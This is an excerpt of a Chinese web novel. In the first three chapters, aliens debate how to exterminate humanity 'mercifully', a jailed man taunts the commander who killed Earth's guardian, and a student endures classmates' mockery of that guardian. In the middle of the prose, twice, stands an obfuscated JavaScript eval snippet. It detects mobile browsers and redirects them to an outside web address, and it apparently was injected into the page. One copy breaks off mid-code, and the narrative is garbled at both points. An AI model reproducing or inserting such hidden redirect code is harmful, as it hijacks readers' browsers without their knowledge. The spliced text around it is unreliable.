《机遇号∥:地球火种》 1. 第 1 章 地球2025年8月23日 距离地球四十万公里外,晷宿人的三角形舰队正开启屏蔽状态,安静地悬在太空之中。 会议舱的灯光柔和到几乎没有存在感,从天花板的每一寸材质里均匀渗出,照得所有人脸上都没有阴影。 狭长三角形的桌子旁,十二位高级将领分坐斜角两侧,每侧坐六人,他们额侧的两条弧形黑脊在光线下泛着温润的暗光,长发垂落,黑白相间的发丝规律交替。 他们正在争吵。 用“争吵”这个词不太准确,因为他们的语调始终平稳冷静,脸部神情几乎没有起伏幅度,但从他们说出的话来判断,确实在争吵没错。 “直接摧毁。”坐在左侧第三位的男性开口,他的发髻比其他人更高一些,插着的木钗是深褐色的,“轨道上的十八艘主舰,每一艘的主炮功率都足够。三十分钟让地表玻璃化,一次性解决,干净彻底,没有后患。” 他对面的一位女性微微抬起下巴:“你在开玩笑吗?地表面积五点一亿平方公里,三十分钟玻璃化,你考虑过能量逸散效率吗?” 她顿了顿,接着说:“至少需要四十五分钟。” “四十五分钟和三十分钟,有什么大区别?”高发髻男性反问。 “当然有大区别。”女性将领的语气里带了一丝需要仔细分辨才能察觉的不悦,“四十五分钟意味着我们可以将能量输出曲线调成渐进式,避免地壳过度应力反应。你直接三十分钟轰下去,万一引发连锁性地幔对流,整个行星结构都会不稳定。我们是来清理垃圾,不是来制造垃圾的。” “那就四十五分钟。”高发髻男性从善如流地改口,“反正垃圾都要被清理的。” “诸位听我一言。”坐在右侧第二位的一个年轻男性开口,“我研究过他们的文化,他们有一种安乐死的死亡方式,注射后能让人在死前没有痛苦,我认为应该考虑这个。直接主炮轰击虽然快,但他们在最后一瞬间还是会感知到恐惧。恐惧会刺激肾上腺素的异常分泌,带来神经末梢的剧烈收缩,我们不希望让地球人在痛苦中死去,这不符合我们的文明准则。” 他说到“文明准则”四个字时,语气里带着一种近乎虔诚的尊重。 其他人沉默了一瞬。 “那你的意思是?”高发髻男性问。 “可以用神经毒素大气播撒。”年轻男性立刻接话,“我们已经分析过他们的呼吸系统,有十七种气态化合物可以被他们的肺泡直接吸收,进入血液循环,在三到五秒内完全抑制中枢神经系统的所有活动。他们会先感到一阵轻微的困倦,然后睡过去,然后在睡梦中停止呼吸。整个过程,没有任何痛苦。” 高发髻男性皱眉,“他们的基因多样性那么丰富,万一有人对毒素不敏感,醒过来发现自己周围的人都死了,或者没死透……” “那就配合次声波共振。”年轻男性显然早有准备,“在播撒毒素的同时,释放特定频率的次声波,让他们的脑干网状结构在毒素生效前先进入抑制状态。这样即使有个体对毒素不敏感,他们也会先失去意识,双重保险。” 另一位将领加入讨论,“建筑物里的人呢?毒素播撒需要空气流通。那些在地下掩体里、密封环境里的人怎么办?” 年轻男性毫不犹豫地说:“我们可以用电磁脉冲瘫痪他们的所有电子设备,让他们的生命维持系统失效。他们会自己出来的。一旦出来,就会接触到毒素。” “如果他们不出来,宁可闷死在里面呢?” “那也是一种选择。”年轻男性微微颔首,“如果他们选择闷死,是他们的自由意志,我们尊重。” “自由意志。”高发髻男性重复了一遍这个词,语气里听不出是赞同还是嘲讽。 坐在左侧最末端的一位女性开口,她之前一直没说话:“他们的情感连接怎么办?” “什么意思?” “地球人的个体之间,存在一种叫‘爱’的情感连接,类似于我们原始祖先拥有过的情感。如果一个人死了,另一个人会因为失去伴侣或亲人而感到痛苦。这种痛苦会持续很长时间,甚至伴随一生。” 她顿了顿,严肃道,“如果我们让他们在睡梦中无痛死去,死的人虽然没有痛苦,但活着的人亲眼看着爱人死去,他们的痛苦怎么办?我们必须要谨慎处理,避免这种痛苦发生。” 舱内陷入沉默。 众人连连点头,一脸赞同。 太有道理了! “那你的意思是?”年轻男性问。 “同步。”她说,“必须让所有人同时死去,这样就不会有人目睹亲人爱人的死亡,承受失去的痛苦。毒素播撒需要时间,次声波共振也有传播速度,我们必须计算出最精确的时间差,让全球八十亿人的生命,在同一瞬间被消灭。” 高发髻男性:“不可能。地球的自转,大气环流,地形差异,建筑物遮挡,怎么可能让八十亿人同时死去?总有人早一秒、晚一秒。” “那一秒就是痛苦。”她说,“早一秒死去的人,是幸运的。晚一秒死去的人,会在那一秒里,看见身边的人倒下,感受到恐惧和绝望,我们得想办法,让他们连一秒钟的痛苦都没有。” 没有人说话。 舱内的灯光依然柔和,依然均匀,依然没有阴影。 “所以还是主炮轰击最干净。”高发髻男性总结,“至少大家是一起死的。那一瞬间,八十亿人同时化为灰烬,谁也不比谁晚。” 年轻男性坚持:“但那样他们也会有痛苦,看到天空突然变亮,感受到地面的震动,让他们有那几秒钟的恐惧是不人道的。” 高发髻男性淡淡地说:“他们是很容易恐惧的智慧生命,一辈子的时间都在恐惧,多这几秒,少这几秒,有什么区别?” “当然有区别。”年轻男性的声音微微提高,“我们是文明种族。文明的要义,就是对生命的尊重,包括对即将结束的生命的尊重。” “那你告诉我,怎么让八十亿人在没有痛苦、没有恐惧、没有失去亲人的悲伤的情况下,同时死去?” 年轻男性张了张嘴,没有说出话来。 舱内再次陷入沉默。 这一次的沉默,持续了更久。 “够了。” 一句轻得近乎缥缈的话音落下,全场瞬间屏息,连呼吸都被掐断在喉间。 直边主位上,始终缄默的第十三个身影缓缓起身。 他一头纯白长发,不是岁月褪成的枯白,而是自发根至发梢都凝着冷润荧光,如月光抽丝织就,未挽成髻,只松松束成低马尾,垂落肩背,在柔光里漫开一层细碎银辉。 深邃立体的五官轮廓自带慑人锋芒,一眼便足以攫住所有视线,额侧两道弧形黑脊比别人更纤细、更修长,自太阳穴蜿蜒没入发际,如两道蛰伏的黑色闪电。 同是银灰金属质感的制式短褂,可肩头徽记却缀着暗金镶边,是独属于首领的标识。 他起身的动作缓而沉,待身姿彻底立稳,舱内气压骤然一变,压迫感无声漫开。 在场所有人垂首,主动露出额侧的弧形黑脊,以族群最虔诚的姿态,俯首致敬。 “我们吵了多久?”砚止寻问。 他的声音依然很轻,不带任何情绪波动。 没有人敢回答。 “我们已经用一个月的地球时间,讨论怎么让八十亿地球人死的舒服。”他自己给出了答案,“无非是快一点还是慢一点,痛苦一点还是舒服一点,有人流泪还是没人流泪。” 砚止寻的目光扫过长桌两侧的人,那双眼睛是紫色的,外面像蒙着一层薄雾,但雾后面是什么谁也看不清。 “我们是一个高等文明。”砚止寻郑重地说。 所有人的脊背都挺直了一分。 “高等文明不仅是科技、力量,还有仁慈。”他顿了顿,“仁慈不是对强者仁慈,那很容易。真正的仁慈是对弱者的仁慈。对那些比我们低等、脆弱、无知的生命仁慈。” 砚止寻绕过主位,慢慢走到长桌的中央。 “你们刚才讨论的那些方案,主炮轰击,毒素播撒,次声波共振,哪一个是仁慈的?” “……” 没有人回答。 “主炮轰击。”砚止寻复述这个词,只有一种平静的陈述,“四十五分钟地表玻璃化,八十亿个生命,在恐惧中化为灰烬,这就是你们的仁慈?” “毒素播撒。”他继续往前走,白色的长发随着他的步伐轻轻晃动,“那些因为个体差异对毒素不敏感的人呢?他们要在清醒中,看着身边的亲人一个个死去,或者身体变异。这就是你们的仁慈?” 砚止寻停在一个将领面前,低头看着他,“次声波共振,让他们先失去意识再死去,听起来很完美。但你们是否计算过,失去意识的那一刻,他们的大脑还在活动,潜意识还能感知到恐惧,只是他们自己不知道而已。” 他直起身,走向长桌的末端。 “所以,你们吵了一个地球月,吵出了一个结论,没有办法让八十亿生命,在完全没有痛苦、恐惧、悲伤的情况下同时死去。就像地球人杀猪时,无法让那些畜生完全无痛无恐惧死去,只能尽量用人道方式减轻痛苦。” 他转过身,面对着所有人。 “那我们就不能再追求完美,必须要做取舍。” 这句话让所有人抬起头。 “我们无法让他们没有恐惧,痛苦,悲伤,但可以尽量在他们死前安抚他们,让他们在死那一刻零痛苦。”砚止寻的声音依然是很轻的调子,但每一个字都像是刻进空气里,“所以,焚化炉是最好的选择。” 有人倒吸一口冷气。 “主炮轰击、毒素播撒、次声波共振,哪一种都比焚化炉更高效,但哪一种都不如焚化炉仁慈、干净,不会给地球带来额外破坏,我们是来清理垃圾的,不是来制造额外的垃圾。” 他走回主位,但没有坐下,只是站在那里,手扶着椅背。 “焚化炉让每个人单独进入,单独死去,在那个空间里只有他一个人,不知道别人什么时候死,我们要让他在最后一刻感受到的不是恐惧、绝望、孤独,而是平静。” 他的目光扫过所有人,“所以我们必须要在焚化炉里加装无痛装置,神经脉冲抑制器,让他们在进入炉膛的那一刻,大脑中所有的疼痛感知区域都暂时关闭。他们会感受到的只是一阵温暖柔和,像回归母体一样的舒适感。然后在那一瞬间死亡。” 舱内一片寂静。 年轻男性将领张了张嘴,声音有些干涩:“首领,这种处理方法,时间会很长。八十亿人,即使我们用最高效率的流水线作业,也需要……” “需要多久?”砚止寻问。 “按照我们目前的人口处理设施,八十亿人需要……” 他飞快地计算着,“两个地球年。” “嗯。”砚止寻点点头,脸上没有任何表情波动,“八十亿地球人,两年来消灭。平均每天消灭大约一千多万人,每一条生命在死去的那一瞬间,感受到的是温暖和平静,而不是恐惧和痛苦。” 他看着所有人:“你们觉得这不值得吗?” 没有人回答。 “还是你们觉得,花两年的时间来处理八十亿低等智慧生命,太不高效?” 砚止寻的语气依然很轻,但那句反问,让所有人的脊背都渗出一层细密的冷汗。 下属:“从客观事实来说,一个地球时能解决的问题,要用两个地球年,的确是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373180|200031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高效。” 砚止寻说:“仁慈的要义是尊重生命,包括那些比我们低等的生命。我们可以以任何理由消灭他们,但不能为了省事高效,就让他们在痛苦中死去,而是要用最人道的方法,让他们感受到赴死的尊严,并在死的那一刻感受不到痛苦,而不是一瞬间把他们消灭,这对生命来说是极不尊重的。” 他缓缓坐回主位。 “就这么定了。焚化炉加装无痛装置,让每一个地球人在被消灭的最后一刻,感受到的都是温暖和平静,以及我们的仁慈。” “是。”所有人齐声应道,低头露出额侧的弧形黑脊。 沉默持续了几秒。 刚才那个年轻男性将领又开口了:“首领,还有一个问题。” “说。” “焚化炉的建立,依托于我们的复制系统,速度会很快,可正式消灭地球人什么时候开始?” 砚止寻没有立刻回答。 他的目光越过长桌,落在星舰外那颗蓝色的行星上。 那里有八十亿个生命正在狂欢,正在庆祝他们的星际启航,为他们的理性而欢呼。 他们不知道,自己已经被宣判了死刑。 “什么时候开始……”他喃喃重复了一遍。 他站起身,走到舱壁前。 舱壁是透明的,能直接看到外面无边的星河,地球就在不远处,静静地悬浮着,像一个脆弱的琉璃珠。 “他们低等,但毕竟是智慧生命,有自己的文明,历史,情感。用了几千年的时间,从仰望星空到触摸星空。就在不久之后,他们会在所谓的惊蛰日,第一次派出自己的星舰,飞向星际。” 砚止寻顿了顿,他转过身,面对着所有人。白色的长发在星光的映照下,泛着一层淡到几乎神圣的光晕。 他眼中充满真实到诡异,却残酷到心惊的仁慈,“文明种族在面对低等生命时,要给予一丝怜悯。等他们惊蛰日感受到星际启航时的快乐,满足了愿望,星舰进入轨道,欢呼雀跃,以为自己将要成为宇宙的主宰时,我们就开始消灭。” 他的每一个字。听起来都无比的仁慈怜悯,可组合起来,却在宣告残酷的种族灭绝。 众人:“是,首领。” “我还有一个问题。”说话的是一直沉默坐在右侧末端的那位女将领。 所有人都看向了她。 “我们虽然想好了如何处置这颗行星上的八十亿个生命,但这颗行星曾经有守护者。” 空气安静了一瞬。 “守护者?”高发髻男性皱眉,“你是说……” “纪遇。”女性将领说,“我调取了关于这颗行星的全部记录。在过去的两百年里,这颗行星遭遇过三十七次不同的灾难,包括外星人入侵,都被她阻止。” “她没有舰队和后援,只有一艘叫做机遇号的星舰,击退了包括诺瓦泰恩帝国在内的大规模入侵。” 舱内陷入死寂。 “如果我们执行清理计划,而她还在,我们的行动可能会被阻止。” 高发髻男性的语气里带着一丝不屑:“我们有十八艘主舰,会被一个人阻止?” “诺瓦泰恩帝国当初也是这么想的,而且他们有母星可以支援,而我们已经没有母星。”女性将领淡淡地说。 “……” “那她现在在哪?”年轻男性将领问。 女性将领的指尖在全息屏幕上滑动了几下。 “根据记录,她已经被人类消灭。”女性将领抬起头,目光扫过所有人,“因为她曾变成煞鬼,要危害地球安全。她的同伴,李求真、慕秉持、慕云霓等人,要么走了,要么坐牢,要么沉默。” “人类杀了自己的守护者?” “地球官方说法是:她是恶魔,试图毁灭人类,人类团结一致,消灭了她。” 这一次的沉默,比之前任何一次都长。 年轻男性将领开口,“她死了你还说什么?” 女将领:“因为我不相信一个能击退诺瓦泰恩帝国的人,会被地球人杀死,可能她在蛰伏,一旦我们行动,她会出现。” “也许她累了。”有人说。 “也许她不想反抗了。”另一个声音接道。 另一个女性将领缓缓说:“也许她被自己守护的人背叛的时候,就彻底失望。” 这句话让所有人都沉默了。 “就算她没死,人类想杀她,她又怎么可能还会回来守护人类?” “被自己守护的人背叛,被污名成恶魔,被追杀,被围剿……换成你我,会怎么做?” “我会看着他们死。”有人自己给出了答案,“然后说活该。” 舱内一片安静。 如果人类真的要杀自己的守护者,而那个人还活着,她凭什么还要回来? 她有什么理由,再为这些人挡一次? 又有人说:“银河系如此辽阔,不是所有的文明都记仇,我们必须要考虑这一点。也许纪遇的文明就是无私奉献,她如果没死,我们的计划怎么办?” “行了。”砚止寻打断争论,“你们争论她会不会还活着回来,都是在猜测还没有发生的事。猜测不是决策的依据。” “但……”年轻男性将领还想说什么。 砚止寻抬手,轻轻打断了他。 “就算她还活着,这一次她要面对的不是诺瓦泰恩帝国,而是我们晷宿人。” 舱内安静了几秒。 砚止寻双手在腰后交叉,面对着那颗蓝色星球,背对着长桌旁的众人,喃喃自语:“纪遇,就算你还活着,这一次先救你自己吧。” 眼前那颗蓝色的行星,依旧在远处静静地旋转。 八十亿个生命,依旧在上面狂欢。 2. 第 2 章 2025年12月31日跨年夜 孤岛监狱 灰蓝色的海洋在铅云下翻涌,浪头卷着白沫,狠狠拍在监狱岛外围的礁石上,炸出沉闷的响声。 混凝土孤岛像被世界遗弃的顽石,被无垠汪洋裹成唯一的囚笼。 监狱外墙是无缝浇筑的钛合金,没有窗和任何缝隙,只有顶部交错成网的激光束,在天幕下持续泛着惨白的光,海鸟掠过天际时,只敢远远绕开,连一声啼鸣都不敢落在这座岛上。 慕秉持坐在单人牢房正中央的金属床上。 床架与地面焊死成一个整体,床垫是监狱统一配发的一体成型记忆棉,没有弹簧和边角,连一丝能被撕开的纤维都没有。 他身上那件浅灰色的囚服,被他穿得整整齐齐,手腕和脚踝,各戴着定位芯片,红绿色的指示灯每隔五秒闪烁一次,死死盯着他的一举一动。 他背挺得很直,仿佛依旧是银河动力的CEO,双手交叠放在膝盖上,手指无意识地轻轻敲击着膝盖骨,节奏均匀,不急不缓,平静地盯着对面墙面上监测他生命体征的屏幕。 天花板漫射下来的柔光,均匀地铺满整个空间,找不到光源的具体位置,也没有昼夜之分,永远都是这种不冷不热、不死不活的亮度。 慕秉持自己也记不清,他在这坐了多久了。 从纪遇被杀那天起,时间于他而言,就已经失去了意义。 他被判了无期徒刑,罪名是反人类、协助纪遇危害地球安全。 判决书宣读的那天,人们对着他发出鄙视的嘘声。 纪遇死了,那个一次次用自己的身躯挡住灾难的人,被她拼尽全力守护的人类恩将仇报,一枪打死了。 而他作为“共犯”,被扔进了这座与世隔绝的海上监狱,成了人类“理性胜利”“铲除恶魔”的战利品。 一阵沉重的脚步声,打破了牢房里持续的死寂。 脚步声从走廊尽头传来,踩在合金地面上,发出“噔、噔、噔”的声响,带着上位者的傲慢与威压,由远及近,越来越清晰。 通风系统的送风声被压了下去,连海浪的闷响,都仿佛退到了遥远的天际。 慕秉持的手指停止了敲击。 他的眼球微微转动,看向牢房门的方向。 那扇门也是无缝合金制成,与墙面融为一体,没有把手和锁孔,只有一个隐藏的生物识别区域。 还没有看到人,慕秉持便猜到了是谁。 滴! 一声清脆的电子音响起。 紧接着,是机械齿轮转动的声响,厚重的合金门缓缓向一侧滑动,露出一条狭窄的缝隙。 冷意顺着缝隙涌进来,带着走廊里消毒水的味道,还有一丝若有若无的古龙水味。 门完全打开,冷卓尧站在门口。 他穿着一身笔挺的深灰色军礼服,肩章上缀着三颗金星,他如今是星际舰队里的最高军衔。 他的眼神带着居高临下的审视,像在看一件没有生命的展品。 身后跟着两个全副武装的狱警,手里端着步枪,枪口对着牢房内部的慕秉持,神情警惕。 冷卓尧没有立刻走进来,只是站在门口,目光扫过整个牢房,最后落在慕秉持的身上。 他的嘴角勾起一抹讽刺的笑,是胜利者的得意,也是对囚徒的鄙夷。 “慕秉持,好久不见。” 慕秉持没有回应,只是平静地看着他。 冷卓尧似乎并不在意他的沉默,自顾自地走进了牢房,像一个旅客悠闲地走进酒店。 狱警想要跟进来,被他抬手制止了。 “你们在门口等着。” “是。”两个狱警齐声应道,站在门口,门没有关,枪口依旧对准着里面。 慕秉持是地球极危险的罪犯,跟过纪遇,随时可能反击,他们不敢有丝毫懈怠。 冷卓尧走到慕秉持面前三步远的地方,停下脚步。 他居高临下地看着坐在金属床上的慕秉持,“在这里,住的还舒服吗?” 没有白天,没有黑夜,再坚强的人,时间久了都得疯。 这是冷卓尧交代的,他不需要进行粗暴简单的肉*体折磨,只需要这样无孔不入的,一点点消磨慕秉持的意志。 极致的孤立、极致的孤独,还有永远的白天。 慕秉持终于开了口,声音沙哑,像是很久没有说过话,却异常清晰:“你有事?” 这是他坐牢几个月来,第一次开口说话。 冷卓尧挑了挑眉,他伸出手,下属立刻递来了一个超薄的平板电脑,他按动开关,屏幕里的影像瞬间在两人之间播放。 影像里,是人类的星际舰队现场。 巨大的星际战舰整齐地列成方阵,刻着人类文明徽章。 画面切换,主播的声音激昂地响起:“在2025年12月31日跨年节点这天,我自豪地向大家宣布,人类的星际舰队还有一年,也就是在2026年12月31日跨年夜向面世,接着在2027年3月5日的惊蛰日,第一支星际舰队,将正式启航!我们将跨越太阳系,奔赴星河深处,开启人类文明的新纪元!让我们期待2026年!” 冷卓尧看着全息影像,脸上的得意几乎要溢出来。 他侧过头,看向慕秉持,眼神里的讽刺更浓了:“看到了吗?这就是人类的胜利。我们抛弃了英雄,拥抱了理性之后,所拥有的一切。过了今晚,还有一年零三个月,我们就会离开太阳系,飞向星际。” 冷卓尧的声音,带着一种近乎狂热的自信,“人类将不再是太阳系里的蝼蚁,而是成为星际的主宰。这一切都是因为我们摆脱了英雄主义的枷锁,摆脱那些无用的情感。” 他的目光,重新落在慕秉持的身上,想要刺穿他的平静:“而你,还有纪遇,就是我们走向胜利的垫脚石。慕秉持,你如此爱她,她是你的信仰,可结果她成了人类文明的阻碍,你成了阶下囚。” 慕秉持依旧平静:“你才是人类文明的阻碍。” 冷卓尧笑了,充满了鄙夷,“抱歉,死去的,还有坐牢的是纪遇和你,不是我。纪遇是圣母,妄图拯救世界。而你为了所谓的爱情,放弃自己的人生,落得个无期徒刑的下场。这就是圣母恋爱脑的下场。” 慕秉持只是静静地看着他。 他的嘴角,缓缓勾起一抹极淡的笑容。 冷卓尧的笑容,僵在了脸上:“你笑什么?” 慕秉持没有立刻回答。 他的目光与冷卓尧对视,那双深不见底的眼睛里,终于泛起了一丝涟漪,没有愤怒和悲伤,而是对冷卓尧极致的嘲讽。 “冷卓尧,”他的声音依旧沙哑,却带着一种穿透人心的力量,“你老婆和孩子,是不是在你亲手杀了纪遇之后,就离开你了?” 空气,瞬间凝固了。 这句话,像一道雷,在寂静的牢房里轰隆炸开。 冷卓尧的脸色,以肉眼可见的速度,从苍白变成了铁青。 他的瞳孔骤然收缩,眼神里的傲慢与得意,瞬间被震惊和恼羞成怒取代。 这件事,他压得密不透风,除了他自己,没有任何人知道。 慕秉持看着他狰狞的脸色,笑得更厉害了。 “是不是在想,我怎么知道的?”慕秉持笑得眼睛都红了,“因为你一副可怜样,想不知道都难。” 他缓缓站起身。 几个月的囚禁,让他的身形有些消瘦,但他的背,依旧挺得笔直,像一株被狂风弯折,却从未倒下的松。 门口的两名狱警,立刻端着枪要走过来,却被冷卓尧抬手拦住。 慕秉持走到冷卓尧面前,两人之间的距离,不足一米。 他比冷卓尧略高,此刻居高临下地看着这个曾经并肩作战的“朋友”,如今的刽子手。 “你亲手杀了纪遇,踩着她的尸骨爬上了星际舰队总司令的位置,高举着理性的旗帜,把自己包装成人类的救世主,把所有反对你的人都打成愚昧分子。你的确不是圣母,因为你在扮演上帝。” “你以为你赢了,站在了人类文明的巅峰,拥有了至高无上的权力和荣耀,”慕秉持的声音,一字一顿,像锤敲在鼓上,“可看看你自己,” 他抬手,虚虚地指了指冷卓尧的周身:“穿着笔挺的军礼服,戴着耀眼的肩章,可你的身边没有一个真心人。周围的人要么是畏惧你的权力,要么觊觎你的位置。” 慕秉持的笑容,带着刺骨的讽刺。 这句话,像最后一根稻草,压垮了冷卓尧的心理防线。 “因为你失去了家人,孤独到极致,跨年夜只能来找我这个你最鄙视的恋爱脑,炫耀你的成功,只有得到我这个敌人的认可,承认你是对的,你才能获得一丝虚无的满足感,否则就算全世界都崇拜你,你也无法满足。”慕秉持的目光,死死锁住冷卓尧的眼睛,“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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慕秉持被打得连连后退,后背一次次撞在合金墙上,发出沉闷的声响。 他的脸上很快布满了伤痕,鼻血顺着鼻翼流下,染红了他浅灰色的囚服,额角被砸开一道口子,鲜血汩汩流出,模糊了他的视线。 他依旧没有反抗。 纪遇死了之后,他的身体,就成了一具空壳。 冷卓尧的拳头,打在他的身上,痛的是皮肉,却痛不了他早已死去的灵魂。 他只是在笑。 “哈哈……哈哈哈哈……” 慕秉持笑得浑身颤抖,眼泪都流了出来,混着脸上的鲜血,滑过脸颊,滴在地上,碎成一片又一片。 冷卓尧的拳头停在了半空中。 他看着眼前这个头破血流,却依旧笑得肆无忌惮的男人,心里突然涌起一股前所未有的恐慌。 他打在慕秉持身上的拳头越来越重,可慕秉持的笑容,却越来越灿烂。 “你笑什么!”冷卓尧怒吼着,又一脚踹在慕秉持的小腹上。 慕秉持在地上蜷缩成一团,咳嗽了几声,血沫溅在冷卓尧的裤脚,留下点点暗红的印记。 他抬起头,擦了擦脸上的血,依旧笑着,眼神清亮。 “我……笑你啊。”他的声音因为受伤而变得断断续续,却依旧清晰有力,“笑你费尽心机……杀了纪遇,赢了权力,却只能……只能来找我这个阶下囚炫耀,你好可怜啊。” “我笑……”他顿了顿,目光望向牢房顶部,仿佛看到了那片纪遇曾守护过的星河,“我笑纪遇用百年守护,换来的,是一群忘恩负义的叛徒,你们该不会觉得自己真的强大了吧?太好笑了!越是喊着强大的人,越是不堪一击!” 冷卓尧看着他,最后又踹了他一脚,自己却在大口大口地喘着气。 牢房里,陷入了死一般的寂静。 只有慕秉持粗重的呼吸声,还有他脸上的鲜血,滴落在地面上的“滴答”声。 冷卓尧看着他,沉默了许久,最终转身走向牢房门。 在他即将走出房门的那一刻,慕秉持的声音再次响起,轻飘飘地追着他的背影,飘出了牢房,“冷卓尧,惊蛰日记得看星空。纪遇在看着你们,走向毁灭。” 冷卓尧的身体,猛地一僵。 他没有回头,只是攥紧了拳头,加快脚步,走出了牢房。 厚重的合金门,缓缓关闭,隔绝了里面的一切。 牢房里,又恢复了之前的安静。 慕秉持仰躺在地上望着天花板,笑出声:“飞出太阳系吧,去找死吧!这次没有人再守护你们了。阿遇……我要活着,看他们这群杀死你的人,是什么下场。” 3. 第 3 章 九月的风依旧带着燥热,掠过滨城大学校门顶端锃亮的名牌。 汪朵朵拖着行李箱,滚轮碾过光滑的地砖,发出单调又沉闷的声响。 今天是她踏入大学的第一天。 十八岁的年纪,本该和所有新生一样,怀揣着对未来的憧憬,可汪朵朵的眼底只有化不开的沉郁。 她像一株被狂风暴雨摧残过的小草,孤零零地站在人声鼎沸的校园里,周围的一切都与她格格不入。 那些青春洋溢的少年少女,脸上扬着自信到近乎张狂的笑,三两成群地谈论着星际舰队、亚光速航行、人类文明的新纪元、纪遇的邪恶。 人群中,她听到“纪遇”两个字,然后纪遇的模样,立刻在她脑海里一闪而过。 第一次见纪遇时,自己还是一个激进的女性主义,认为男人全都该死,女人应该独立自强,对男人祛魅。 当纪遇提出不同观点时,她还跟纪遇大吵了一架,捍卫“祛魅”和“女性主义”,认为纪遇厌女。 可后来,她亲身跟纪遇经历了女巫、远古巨兽的事,彻底改变了她的人生观。 那些什么主义,到底有几个经得起推敲? 从那以后,汪朵朵像是变了一个人。 她会从纪遇的角度思考问题。 因为纪遇是一个不被标签绑架,不被主义束缚的人。 渐渐的,她发现自己与周围的人格格不入了。 曾经接纳她的团体,全都把她排除在外,因为她不够觉醒。 虽然纪遇和周围的人格格不入,可她还有慕秉持、李求真、机遇号,她可以遨游银河系。 而自己……什么都没有。 汪朵朵深吸一口气,压下喉间的哽咽,低头跟着路标往宿舍楼走。 楼道里挤满了人,行李箱的碰撞声、欢声笑语、高声谈论声搅在一起,汇成一股令人窒息的洪流,将她裹挟着往前推。 她的宿舍在五楼,朝南,推开宿舍门的那一刻,一股热烈的气息扑面而来,三个室友已经到了,正围坐在书桌旁,聊得热火朝天。 “快进来快进来!”靠窗的女孩热情地招手,她留着利落的短发,妆容精致,眼神里带着一种被时代赋予的理直气壮的锐利,“我们正聊得兴起呢,你来得正好,你叫什么?” 汪朵朵:“汪朵朵。” “什么专业啊?” 汪朵朵:“天体物理。” “我是数学系。” “我是电子信息。” “我是计算机。” 汪朵朵“哦”了一声,点了点头。 上铺的女孩染了一头银灰渐变,发尾在风扇的风里晃,像金属碎屑。 她正盘腿坐在床上,手里捧着平板,屏幕亮得刺眼。 “朵朵对吧?我们刚在群里建了‘人间清醒姐妹会’,你也加一下吧。” “不用了,我是人间糊涂,会拖累你们的清醒。”汪朵朵回答的极为迅速,她勉强扯出一个笑,把行李箱靠在墙角,没有加入她们。 三个人互相看了一眼彼此,有人撇了撇嘴,有人皱了皱眉头。 见她不愿意,也没勉强她,只是小团队暗戳戳的把她排除在外了,自顾自地聊起了天。 “听说了吗?星际教育部刚发的新课纲,英雄叙事批判正式进大学必修,特别是对纪遇的批判。谁洗白她,直接扣思想分。” 上铺笑出声,手指在平板上飞快划拉:“我已经截图了。配文是‘当人类终于明白,仰望星空不需要神明,只需要理性与舰队’。点赞破十万了,我要火啦。” 另一个女生接话:“对对,还有那句‘爱情是工业时代的鸦片,婚姻是农业时代的牢笼,星际时代只需要清醒与合约’。太戳了,我直接设成签名。” 宿舍里响起一阵低低的笑声。 汪朵朵安静地收拾自己的床铺,那些话语无孔不入地钻进她的耳朵里。 “等惊蛰日舰队启航,人类就真正踏入星际文明了!” “那必须的,科学理性才是硬道理,什么英雄主义、感性、爱情,都是束缚人类的枷锁,现在终于被打破了。我看批判英雄叙事教育挺好的,人需要被教育,不然还对纪遇盲目崇拜呢,更何况纪遇还是个恋爱脑,听说她跟男人爱的死去活来,这种人凭什么拯救世界。” “是啊,清醒独立不好吗?人活着首先要爱自己,把自己放在第一位。什么爱情、婚姻,都是绑架。婚姻制度早就该消亡,女人结婚就是长期卖.淫,跟那些站.街女一样,不过是价高价低罢了,好歹站.街女人间清醒,不傻白甜,而娇妻把自己依附在一个男人身上,困在家庭里,真无能!” “对啊,都什么年代,还搞那套小情小爱、牺牲奉献,太愚昧。” “纪遇死的好,无论是需要爱情婚姻,还是需要英雄的人,都是劣等的,现在要做的就是祛魅,把所有虚假的信仰都撕碎,回归理性和自我!” “学校的‘英雄批判’课程听着就期待,特别是祛除对纪遇的崇拜,到时候我们一起去听!” 汪朵朵的手指攥着床单,骨节都在隐隐发疼,她的肩膀微微颤抖,耳边的话语像一把把尖刀活生生剜着她的心脏。 她们嘲讽的纪遇,为地球燃烧了百年。 她们口中落后的情感,是纪遇明知会被背叛,却依旧选择守护的温柔。 她们口中的清醒独立,是恩将仇报,杀了英雄的冷漠。 她不敢回头,不敢开口,生怕自己一说话,就会控制不住地嘶吼,质问她们到底知不知道,到底是谁多次拼死捍卫人类,才有今天? 纪遇一次次为了这群后来将她挫骨扬灰的人,挡下了灭顶之灾。 室友们丝毫没有察觉到汪朵朵的异常,依旧沉浸在自己的高谈阔论里。 她们的声音越来越高,充满了对未来的狂热憧憬,对“旧时代”的鄙夷与唾弃。 在她们的声音里,感情是原罪,怜悯是懦弱,感恩是愚昧,唯有利己、强大、理性、独立,才是最高级的生存法则。 当一件事所有人都这么说,真相已经不重要了。 “我以后绝对不结婚,事业才是女人最好的归宿,才永远不会背叛女人。” “没错,依附任何人都没好下场。” “恋爱也可以谈的,只要不结婚就行了。” “谈啥呀?我看你还是恋爱脑。” “我才不是恋爱脑。那种牺牲自己,讨好别人,没有人格尊严的,才是真正的恋爱脑。别乱用标签,我很有女性意识。” 她们的话语滔滔不绝,带着一种不容置疑的优越感,每一个字都铿锵有力,仿佛掌握了世间唯一的真理。 “你们也知道恋爱脑不是好词呀。”汪朵朵的声音,在热火朝天讨论的三个女生中响了起来。 几个女生转头看向她。 